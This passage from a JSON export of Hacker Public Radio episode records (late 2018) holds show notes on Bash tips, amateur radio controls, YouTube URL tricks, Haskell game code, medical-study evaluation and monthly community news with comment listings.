                                                              • \nComment 2:\nMrX on 2018-10-03:\n\"Re Audio quality\"
                                                              • \n
                                                              • \nComment 3:\nlostnbronx@gmail.com on 2018-10-14:\n\"Great Sound Quality\"

                                                              \n
                                                            • hpr2644\n(2018-09-20) \"Error on show 2642\"\nby folky.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nclacke on 2018-10-01:\n\"Re: Kvalificerat hemligt\"

                                                              \n
                                                            • hpr2648\n(2018-09-26) \"Explaining the controls on my Amateur HF Radio Part 1\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nMrX on 2018-10-03:\n\"Re Thanks pas\"

                                                              \n
                                                            • hpr2650\n(2018-09-28) \"My Pocket Knife\"\nby Shane Shennan.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nShane Shennan on 2018-10-01:\n\"Link about Milk Bags\"

                                                              \n
                                                            \n

                                                            There are 36 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr2651\n(2018-10-01) \"HPR Community News for September 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-09-30:\n\"The loop issue\"
                                                              • Comment 2:\nDave Morriss on 2018-09-30:\n\"Re: The loop issue\"
                                                              • Comment 3:\nKen Fallon on 2018-09-30:\n\"Clarify\"
                                                              • Comment 4:\nDave Morriss on 2018-09-30:\n\"Re: Clarify\"
                                                              • Comment 5:\nDave Morriss on 2018-09-30:\n\"Does the comment system remove backslashes?\"
                                                              • Comment 6:\nfolky on 2018-10-01:\n\"Material for a show\"
                                                              • Comment 7:\nKen Fallon on 2018-10-01:\n\"touché Sir\"
                                                              • Comment 8:\nclacke on 2018-10-01:\n\"subshell issues\"
                                                              • Comment 9:\nclacke on 2018-10-01:\n\"Kvalificerat hemligt\"
                                                              • Comment 10:\nclacke on 2018-10-01:\n\"Re: Intro volume\"
                                                              • Comment 11:\nDave Morriss on 2018-10-01:\n\"She sells subshells...\"
                                                              • Comment 12:\nclacke on 2018-10-01:\n\"Re: TTS over intro music\"
                                                              • Comment 13:\nclacke on 2018-10-01:\n\"That brings back memories\"

                                                              \n
                                                            • hpr2654\n(2018-10-04) \"Making Crepes\"\nby Shane Shennan.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nlostnbronx on 2018-10-08:\n\"Great Recipe\"
                                                              • Comment 2:\nJonas on 2018-10-08:\n\"How I make crepes\"
                                                              • Comment 3:\nShane Shennan on 2018-10-09:\n\"Brown Sugar!\"
                                                              • Comment 4:\nShane Shennan on 2018-10-09:\n\"Thanks for sharing your technique!\"

                                                              \n
                                                            • hpr2657\n(2018-10-09) \"Why we are all going to shit in 30 years due to computers\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBrian in Ohio on 2018-10-10:\n\"Mr Baten's shows\"
                                                              • Comment 2:\ndodddummy on 2018-10-14:\n\"You keep putting out my shows before I do!\"
                                                              • Comment 3:\nDenise on 2018-10-19:\n\"The podcast content\"

                                                              \n
                                                            • hpr2658\n(2018-10-10) \"Questions on podcast production\"\nby Al.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-10-10:\n\"This does NOT have to apply to HPR shows.\"

                                                              \n
                                                            • hpr2666\n(2018-10-22) \"Slackware Post-Install\"\nby m1rr0r5h4d35.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2018-10-21:\n\"systemd information\"
                                                              • Comment 2:\nBrian in Ohio on 2018-10-24:\n\"wicd\"

                                                              \n
                                                            • hpr2667\n(2018-10-23) \"Create PDF bookmarks with Pdftk\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2018-10-23:\n\"gcj deprecated\"
                                                              • Comment 2:\nClinton Roy on 2018-10-23:\n\"debian\"
                                                              • Comment 3:\nKlaatu on 2018-10-31:\n\"Thanks for the snap tip\"

                                                              \n
                                                            • hpr2668\n(2018-10-24) \"Explaining the controls on my Amateur HF Radio Part 3\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMichael on 2018-10-31:\n\"Great Episodes!\"

                                                              \n
                                                            • hpr2669\n(2018-10-25) \"Additional ancillary Bash tips - 12\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMad Sweeney on 2018-10-26:\n\"Quoted Literals in Regex\"
                                                              • Comment 2:\nMad Sweeney on 2018-10-26:\n\"Re: Quoted Literals in Regex\"
                                                              • Comment 3:\nStuart Little on 2018-10-26:\n\"quoting portions of regex\"
                                                              • Comment 4:\nMad Sweeney on 2018-10-26:\n\"Re: Quoted Literals in Regex\"
                                                              • Comment 5:\nDave Morriss on 2018-10-27:\n\"Thanks for the combined wisdom being directed at my question\"
                                                              • Comment 6:\nDave Morriss on 2018-10-27:\n\"Backslashes in comments\"
                                                              • Comment 7:\nMad Sweeney on 2018-10-27:\n\"Not just backslashes\"
                                                              • Comment 8:\nDave Morriss on 2018-10-27:\n\"Comments eating ampersands?\"
                                                              • Comment 9:\nMad Sweeney on 2018-10-27:\n\"Re: Comments eating ampersands?\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-October/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Over the period tags and/or summaries have been added to 23 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2677,"date":"2018-11-06","title":"Thoughts on language learning part 4 - RPG.","duration":1090,"summary":"I ponder the idea of an RPG with players not speaking the same language.","notes":"

                                                            I thought I was done with this topic, but got to thinking about bringing a game to life it occurred to me it was a lot of work. So I thought about it some more and hit upon the idea of an RPG probably mostly played online where a key point of the game is that the players needn’t know the same language.

                                                            \n

                                                            At first this seems like an odd thing for an RPG because the talking to each other is sort of a requirement. By now you’ve guessed that what I mean is that the game could be designed so that it assumes the players will have limited ability to communicate. And that drives how the game progresses.

                                                            \n

                                                            I see two kinds of approaches. One is that players sort of team up by the their native languages so you might have people knowing different native languages working in smaller teams while the whole game has the goal of everyone learning the new language.

                                                            \n

                                                            The other is that everyone could know a different native language and many or may nor cooperate with others but the goal of the game is everyone learning the same new language.

                                                            \n

                                                            Submitting this show mostly because I’m curious what the community thinks of the idea.

                                                            \n","hostid":151,"series":0,"explicit":1,"license":"CC-0","tags":"spoken language learning","version":0,"downloads":0,"valid":1}, {"id":2678,"date":"2018-11-07","title":"Explaining the controls on my Amateur HF Radio Part 4","duration":984,"summary":"In this episode I cover the first four Receiver section controls of the TS940S","notes":"

                                                            The three dual function controls covered are

                                                            \n

                                                            Squelch/Notch

                                                            \n\n

                                                            Pitch/AF Tune

                                                            \n
                                                              \n
                                                            • (2A) Pitch (From the Kenwood manual)
                                                              \nThe CW PITCH control is provided so that you may adjust the pitch or tone of the incoming CW signal so that the tone is pleasing to you. The TS-940S accomplishes this without shifting the actual transmitter or receiver frequency, by shifting the 100kHz IF frequency, just prior to Product detection.

                                                            • \n
                                                            • (2B) AF Tune (From the Kenwood manual)
                                                              \nThe AF TUNE circuit is just the opposite of the NOTCH circuit. With this control, it is possible to accentuate the desired signal by providing additional rejection of noise and interfering signals whose pitch (tone) falls outside the audio passband. Turn the AF TUNE switch ON and adjust the AF TUNE control to peak the desired signal.

                                                            • \n
                                                            \n

                                                            RIT/XIT

                                                            \n
                                                              \n
                                                            • (3A) RIT – Receiver incremental Tune
                                                              \nThe RIT control allows shifting the receive frequency without effecting the transmit frequency

                                                            • \n
                                                            • (3B) XIT – Transmitter incremental Tune
                                                              \nThe XIT control allows shifting the transmit frequency without effecting the receive frequency

                                                            • \n
                                                            ","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"HF, Ham, Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2679,"date":"2018-11-08","title":"Extra ancillary Bash tips - 13","duration":2202,"summary":"Making decisions in Bash (part 5)","notes":"

                                                            Extra ancillary Bash tips - 13

                                                            \n

                                                            Making decisions in Bash

                                                            \n

                                                            This is the thirteenth episode in the Bash Tips sub-series. It is the fifth and final of a group of shows about making decisions in Bash.

                                                            \n

                                                            In the last four episodes we saw the types of test Bash provides, and we looked briefly at some of the commands that use these tests. We looked at conditional expressions and all of the operators Bash provides to do this. We concentrated particularly on string comparisons which use glob and extended glob patterns then we devoted an episode to Bash regular expressions.

                                                            \n

                                                            Now we want to look at the final topic within regular expressions, the use of capture groups.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,extended test,regular expression,capture group,BASH_REMATCH,back reference","version":0,"downloads":0,"valid":1}, {"id":2680,"date":"2018-11-09","title":"Some Additional Talk About Characters -- 01","duration":746,"summary":"Lostnbronx takes a look at what sorts of characters work best for certain types of tales. Part 01.","notes":"

                                                            Some characters are simple, some are complex, and some are entirely unknowable. What sorts of characters work best for grand, sweeping good vs. evil tales? Which types work best for simple character dramas? And how do characters interact with the setting and story? Lostnbronx offers some off-the-cuff observations.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"stories,storytelling,characters,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2681,"date":"2018-11-12","title":"DerbyCon Interview - Hackers for Charity","duration":273,"summary":"Xoke interviews the amazing Hackers for Charity people","notes":"

                                                            https://www.hackersforcharity.org/

                                                            ","hostid":79,"series":78,"explicit":0,"license":"CC-0","tags":"DerbyCon, Charity, Interview","version":0,"downloads":0,"valid":1}, {"id":2682,"date":"2018-11-13","title":"(NOT) All About Blender","duration":2753,"summary":"A meandering conversation to sooth the nerves, and warm the soul.","notes":"

                                                            The first part of what began a serious attempt to sit down and discuss Blender, a free and open-source piece of awesome, that slowly (rapidly) devolved into a meandering discussion. Mostly about video games.

                                                            \n\n

                                                            BloodPong

                                                            \n\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Blender","version":0,"downloads":0,"valid":1}, {"id":2683,"date":"2018-11-14","title":"Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild","duration":1911,"summary":"Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild","notes":"

                                                            Using Python, PHP, JQuery and Linux to visualize the heartrate and blood oxygen saturation level of my stepdaughter.

                                                            \n

                                                            Jeroen Baten talks about how he used his knowledge of a couple of open source tools to visualize the heartrate and oxygen saturation in the blood of one of his children and how this aided a pediatrician at the Wilhelmina childrens hospital to come to the right conclusion and treatment. This talk is a mix of tech and 43 surgery sessions on one single human being.

                                                            \n

                                                            Links

                                                            \n\n\n

                                                            \nEditor's Note
                                                            \nJeroen's link above was added after the show had been aired.
                                                            \n

                                                            \n","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, php, jquery, linux","version":0,"downloads":0,"valid":1}, {"id":2684,"date":"2018-11-15","title":"Making a remote control visible","duration":77,"summary":"Yet another amazing life hack !!!","notes":"

                                                            The problem

                                                            \n

                                                            \nA black remote control on a black couch.\n

                                                            \n

                                                            The solution

                                                            \n

                                                            \nCover it in Earth Insulating Tape.\n

                                                            \n

                                                            \n\n\"Remote\n\n

                                                            \n

                                                            \n\n\"Remote\n\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Life hacks","version":0,"downloads":0,"valid":1}, {"id":2685,"date":"2018-11-16","title":"Scientific and Medical Reports","duration":854,"summary":"We need to be careful about evaluating news reports about medical studies","notes":"

                                                            We get bombarded with breathless news stories about medical breakthroughs that may not be as reliable as they are presented. This begins our look at what is reliable and what you need to watch out for.

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Medical Studies, News Reports","version":0,"downloads":0,"valid":1}, {"id":2686,"date":"2018-11-19","title":"(NOT) All About Blender - Part the Second","duration":2413,"summary":"A meandering conversation to sooth the nerves, and warm the soul - part 2!!","notes":"

                                                            The second part of what began as a serious attempt to sit down and discuss Blender, a free and open-source piece of awesome, that slowly (rapidly) devolved into a meandering discussion. Mostly about video games.

                                                            \n\n

                                                            BloodPong

                                                            \n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Blender","version":0,"downloads":0,"valid":1}, {"id":2687,"date":"2018-11-20","title":"Some Additional Talk About Characters -- 02","duration":750,"summary":"Lostnbronx takes a look at what sorts of characters work best for certain types of tales. Part 02.","notes":"

                                                            What are some typical ways to create characters in your stories? Should you create the plot first, or the characters first? Should we think of characters in terms of heroes and villains, or protagonists and antagonists? What is the value of character depth, and is it the same as the character arc? Lostnbronx offers up even more off-the-cuff thoughts about this complicated subject.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-0","tags":"stories,storytelling,characters,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2688,"date":"2018-11-21","title":"Explaining the controls on my Amateur HF Radio Part 5","duration":1039,"summary":"In this episode I cover the remaining Receiver section controls of the TS940S.","notes":"
                                                              \n
                                                            • The controls covered are

                                                              \n
                                                                \n
                                                              • AF / RF gain\n
                                                                  \n
                                                                • (1A) AF, Audio frequency gain control (Volume)
                                                                  \nTurns the volume up and down
                                                                • \n
                                                                • (1B) RF, Radiofrequency gain control (From the Kenwood manual)
                                                                  \nRF GAIN is controlled by changing the AGC (Auto Gain Control) threshold voltage. Adjusting the RF GAIN so that the S-meter reading increases to a point just lower than speech peaks. This also reduces noise during reception. For normal operation, this control should be turned fully clockwise for maximum sensitivity.
                                                                • \n
                                                              • \n
                                                              • CW VBT (From the Kenwood manual)\n
                                                                  \n
                                                                • Carrier Wave Variable Bandwidth Tuning Control
                                                                  \nThis control is very similar to the SSB Slope tuning controls. However, with the CW VBT control, both sides of the IF passband are narrowed at the same time.
                                                                • \n
                                                              • \n
                                                              • SSB Slope Tune (High pass low pass audio filter)\n
                                                              • \n
                                                            • \n
                                                            • I mention that the radio uses phase locked loop technologies.
                                                              \nBelow is an article in Wikipedia about PLL (Phase locked loop)
                                                              \nhttps://en.wikipedia.org/wiki/Phase-locked_loop

                                                            • \n
                                                            • I mention that the radio doesn’t use valves.
                                                              \nBelow is an article in Wikipedia about valves (Vacuum tubes)
                                                              \nhttps://en.wikipedia.org/wiki/Vacuum_tube

                                                            • \n
                                                            • Dry joint
                                                              \nI mention that the radio developed a dry joint
                                                              \nBelow is an article in Wikipedia about soldering that covers dry joints
                                                              \nhttps://en.wikipedia.org/wiki/Soldering#Dry_joint

                                                            • \n
                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"HF, Ham, Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2689,"date":"2018-11-22","title":"Bash Tips - 14","duration":1688,"summary":"More about loops - the 'for' loop, 'break' and 'continue'","notes":"

                                                            Bash Tips - 14 (Some auxiliary Bash tips)

                                                            \n

                                                            More about loops

                                                            \n

                                                            This is the fourteenth episode covering useful tips about using Bash. Episodes 9-13 covered Making Decisions in Bash and in these episodes we looked at while and until loops, but not for loops. This episode is making good this deficiency, and is also looking at break and continue which are very useful when using loops.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have provided detailed notes as usual for this episode, and these can be viewed here.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,loop,for,break,continue","version":0,"downloads":0,"valid":1}, {"id":2690,"date":"2018-11-23","title":"A chat about the HiveMQ Broker","duration":425,"summary":"Ken talks with Florian Raschbichler and Anja Helmbrecht-Schaar about HiveMQ","notes":"

                                                            \nI had the opportunity to chat with Florian Raschbichler and Anja Helmbrecht-Schaar from the company dc-square GmbH, who are developers of the HiveMQ Broker.\n

                                                            \n

                                                            \nIf you are new to MQTT they have the ultimate kickstart for MQTT beginners. They also maintain an MQTT Client Library Encyclopedia\n

                                                            \n\n\n

                                                            Links

                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"MQTT, HiveMQ, dc-square GmbH","version":0,"downloads":0,"valid":1}, {"id":2691,"date":"2018-11-26","title":"DerbyCon Interview - John Strand","duration":160,"summary":"John Strand talks about behavoural analytics and blockchain","notes":"

                                                            John Strand (https://twitter.com/strandjs) from Black Hills Information Security (https://www.blackhillsinfosec.com/)

                                                            \n

                                                            Download RITA (it’s free!) - Real Intelligence Threat Analytics - https://www.blackhillsinfosec.com/projects/rita/

                                                            ","hostid":79,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"DerbyCon, Interview, Blockchain","version":0,"downloads":0,"valid":1}, {"id":2692,"date":"2018-11-27","title":"YouTube URL tricks","duration":436,"summary":"URL tricks for YouTube to enhance viewing experience and an overview of my viewing methodology","notes":"

                                                            YouTube URL Tricks by Desearcher

                                                            \n
                                                            Recommended Episode
                                                            YouTube Playlists by Ahuka
                                                            \n
                                                            User Upload playlist
                                                            BEFOREhttps://www.youtube.com/channel/UCAL3JXZSzSm8AlZyD3nQdBA
                                                            AFTERhttps://www.youtube.com/playlist?list=UUAL3JXZSzSm8AlZyD3nQdBA
                                                            \n
                                                            Embeded Player
                                                            BEFOREhttps://www.youtube.com/playlist?list=UUAL3JXZSzSm8AlZyD3nQdBA
                                                            AFTERhttps://www.youtube.com/embed?list=UUAL3JXZSzSm8AlZyD3nQdBA
                                                            \n
                                                            Watch Later
                                                            NORMALhttps://www.youtube.com/playlist?list=WL
                                                            EMBEDhttps://www.youtube.com/embed?list=WL
                                                            \n
                                                            Show \"Remove Watched\" Button in Watch Later queue
                                                            https://www.youtube.com/playlist?list=WL&disable_polymer=true
                                                            \n
                                                            Chrome App trick to maximize viewing area
                                                            Watch Laterchrome -app=\"https://www.youtube.com/embed?list=WL\"
                                                            Playlistchrome -app=\"https://www.youtube.com/embed?list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr\"
                                                            \n
                                                            Play On TV
                                                            https://www.youtube.com/pair
                                                            \n
                                                            TCL Roku TV
                                                            Roku Product List
                                                            \n","hostid":371,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"YouTube,URL,Chrome,Roku,Smart TV","version":0,"downloads":0,"valid":1}, {"id":2693,"date":"2018-11-28","title":"Getting started with web based game in Haskell and Elm","duration":1146,"summary":"First steps in writing 4x space exploration game","notes":"

                                                            Haskell Stack: https://docs.haskellstack.org/en/stable/README/

                                                            \n

                                                            Stack is a build tool for Haskell with focus on reproducible build plans, multi-package projects, and a consistent, easy-to-learn interface. With stack, one can create new project: stack new my-project yesod-sqlite (more in the quick start guide: https://www.yesodweb.com/page/quickstart)

                                                            \n\n

                                                            models is used to define shape of the data and Yesod uses it to generate datatypes and database for you. For example, to define a Star that has name, spectral type, luminosity class and link to StarSystem, one can write:

                                                            \n\n
                                                            \nStar json\n    name Text\n    starSystemId StarSystemId\n    spectralType SpectralType\n    luminosityClass LuminosityClass\n
                                                            \n\n

                                                            Custom types, like LuminosityClass, need mapping between datatype and database. In simple cases like this, Yesod can do that:\n\n

                                                            \ndata LuminosityClass = Iap | Ia | Iab | Ib | II | III | IV | V | VI | VII\n    deriving (Show, Read, Eq)\nderivePersistField \"LuminosityClass\"\n
                                                            \n\n

                                                            The \"derivePersistField\" part is template haskell call that will generate mapping needed.

                                                            \n\n

                                                            For those interested seeing some code, source is available at https://github.com/Tuula/deep-sky/ (https://github.com/Tuula/deep-sky/tree/baa0807dd36b61fd02174b17c10013862af4ec18 is situation before lots of Elm related changes that I mentioned in passing in the episode)

                                                            \n\n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, yesod","version":0,"downloads":0,"valid":1}, {"id":2694,"date":"2018-11-29","title":"Bandit Update","duration":699,"summary":"NYbill does a quick episode to mention there are new Over the Wire, Bandit levels out.","notes":"

                                                            (No Spoilers)

                                                            \n

                                                            NYbill does a quick episode to mention there are new Over the Wire, Bandit levels out.

                                                            \n

                                                            https://overthewire.org/wargames/bandit/bandit0.html

                                                            \n

                                                            Original Episode:

                                                            \n

                                                            https://hackerpublicradio.org/eps.php?id=2138

                                                            \n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hacking, War games, Linux","version":0,"downloads":0,"valid":1}, {"id":2695,"date":"2018-11-30","title":"Problems with Studies","duration":798,"summary":"Some principles for evaluating medical studies","notes":"

                                                            All medical studies are not alike. Some are of higher quality than others, and the conclusions they reach need to be evaluated based on some principles of good research. Here we take a look at some warning signs of bad or unreliable studies.

                                                            \n","hostid":198,"series":100,"explicit":0,"license":"CC-BY-SA","tags":"Health, Medicine, Medical Studies, Evaluating Studies","version":0,"downloads":0,"valid":1}, {"id":2696,"date":"2018-12-03","title":"HPR Community News for November 2018","duration":4317,"summary":"HPR Volunteers talk about shows released and comments posted in November 2018","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n desearcher.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2674Thu2018-11-01Raspberry pi3 open media serverJWP
                                                            2675Fri2018-11-02YouTube PlaylistsAhuka
                                                            2676Mon2018-11-05HPR Community News for October 2018HPR Volunteers
                                                            2677Tue2018-11-06Thoughts on language learning part 4 - RPG.dodddummy
                                                            2678Wed2018-11-07Explaining the controls on my Amateur HF Radio Part 4MrX
                                                            2679Thu2018-11-08Extra ancillary Bash tips - 13Dave Morriss
                                                            2680Fri2018-11-09Some Additional Talk About Characters -- 01lostnbronx
                                                            2681Mon2018-11-12DerbyCon Interview - Hackers for CharityXoke
                                                            2682Tue2018-11-13(NOT) All About Blenderm1rr0r5h4d35
                                                            2683Wed2018-11-14Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchildJeroen Baten
                                                            2684Thu2018-11-15Making a remote control visibleKen Fallon
                                                            2685Fri2018-11-16Scientific and Medical ReportsAhuka
                                                            2686Mon2018-11-19(NOT) All About Blender - Part the Secondm1rr0r5h4d35
                                                            2687Tue2018-11-20Some Additional Talk About Characters -- 02lostnbronx
                                                            2688Wed2018-11-21Explaining the controls on my Amateur HF Radio Part 5MrX
                                                            2689Thu2018-11-22Bash Tips - 14Dave Morriss
                                                            2690Fri2018-11-23A chat about the HiveMQ BrokerKen Fallon
                                                            2691Mon2018-11-26DerbyCon Interview - John StrandXoke
                                                            2692Tue2018-11-27YouTube URL tricksdesearcher
                                                            2693Wed2018-11-28Getting started with web based game in Haskell and ElmTuula
                                                            2694Thu2018-11-29Bandit UpdateNYbill
                                                            2695Fri2018-11-30Problems with StudiesAhuka
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 24 comments in total.

                                                            \n

                                                            There are 9 comments on\n7 previous shows:

                                                            \n
                                                            • hpr2399\n(2017-10-12) \"Using Super Glue to create Landmarks on Keyboards\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 8:\ndodddummy on 2018-11-23:\n\"There's nothing new under the sun.\"

                                                              \n
                                                            • hpr2558\n(2018-05-23) \"Battling with English - part 1\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 7:\nFiftyOneFifty on 2018-11-05:\n\"You missed one\"
                                                              • \n
                                                              • \nComment 8:\nDave Morriss on 2018-11-10:\n\"Re: You missed one\"

                                                              \n
                                                            • hpr2562\n(2018-05-29) \"I bought a laptop\"\nby clacke.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nFiftyOneFifty on 2018-11-05:\n\"Getting paid in Cryptocurrency\"

                                                              \n
                                                            • hpr2629\n(2018-08-30) \"Thoughts on language learning part 3 - game/story mode.\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nJoel H. on 2018-10-31:\n\"Good ideas!\"

                                                              \n
                                                            • hpr2665\n(2018-10-19) \"Exercise and Diet\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndodddummy on 2018-11-21:\n\"You've convinced me.\"
                                                              • \n
                                                              • \nComment 2:\nKevin O'Brien on 2018-11-28:\n\"It is about making a decision\"

                                                              \n
                                                            • hpr2668\n(2018-10-24) \"Explaining the controls on my Amateur HF Radio Part 3\"\nby MrX.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nlostnbronx on 2018-11-01:\n\"Great Gear!\"

                                                              \n
                                                            • hpr2672\n(2018-10-30) \"Porteus\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nAlison Chaiken on 2018-11-11:\n\"particularly informative episode\"

                                                              \n
                                                            \n

                                                            There are 15 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr2674\n(2018-11-01) \"Raspberry pi3 open media server\"\nby JWP.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJason Lewis on 2018-11-01:\n\"Volume\"

                                                              \n
                                                            • hpr2675\n(2018-11-02) \"YouTube Playlists\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nGus on 2018-11-05:\n\"Praise\"
                                                              • Comment 2:\nAhuka on 2018-11-05:\n\"MY pleasure\"

                                                              \n
                                                            • hpr2676\n(2018-11-05) \"HPR Community News for October 2018\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAhuka on 2018-11-05:\n\"What were you going to say?\"
                                                              • Comment 2:\ndodddummy on 2018-11-07:\n\"Smiling all the way to the end.\"
                                                              • Comment 3:\ndodddummy on 2018-11-07:\n\"Ken's perfect example.\"
                                                              • Comment 4:\nKen Fallon on 2018-11-22:\n\"we'll get back to that\"

                                                              \n
                                                            • hpr2677\n(2018-11-06) \"Thoughts on language learning part 4 - RPG.\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2018-10-22:\n\"Looks like I forgot to tuncate silence\"

                                                              \n
                                                            • hpr2679\n(2018-11-08) \"Extra ancillary Bash tips - 13\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2018-11-24:\n\"Immediately useful\"
                                                              • Comment 2:\nDave Morriss on 2018-11-25:\n\"Thanks clacke!\"

                                                              \n
                                                            • hpr2683\n(2018-11-14) \"Using Open source tools to visualize the heartrate and blood oxygen saturation level of my stepchild\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2018-11-15:\n\"Super Dad\"
                                                              • Comment 2:\nClinton Roy on 2018-11-17:\n\"Thank you.\"

                                                              \n
                                                            • hpr2684\n(2018-11-15) \"Making a remote control visible\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2018-11-15:\n\"LOL!\"
                                                              • Comment 2:\npauleb on 2018-11-16:\n\"Great hack, great episode!!\"

                                                              \n
                                                            • hpr2693\n(2018-11-28) \"Getting started with web based game in Haskell and Elm\"\nby Tuula.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nklaatu on 2018-11-30:\n\"Cool game idea, cool intro\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-November/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Hacker Public Radio New Year’s Eve Show

                                                            \n

                                                            Edited from linuxlugcast.com

                                                            \n

                                                            Hey folks

                                                            \n

                                                            It’s that time of year again. Time for the Hacker Public Radio 24 hr (26 hr) New Years Eve Show.

                                                            \n

                                                            For those who don’t know on New Years Eve 2018-12-31 at 10:00 am UTC (5:00 am EST) we will have a recording going on the HPR Mumble server (at ch1.teamspeak.cc on port 64747) for anyone to come on say “Happy New Year” and talk about what ever they want.

                                                            \n

                                                            We will leave the recording going until 2019-01-01 12:00 am UTC (7:00 am EST) or until the conversation stops.

                                                            \n

                                                            For those who have never used Mumble before, we have a guide over at linuxlugcast.com in our how to section explaining how to setup the desktop Mumble client, but Mumble isn’t only available for the desktop. It is also available for Android and IOS.

                                                            \n

                                                            We are also going to setup an etherpad for people to share links to things they are discussing.

                                                            \n

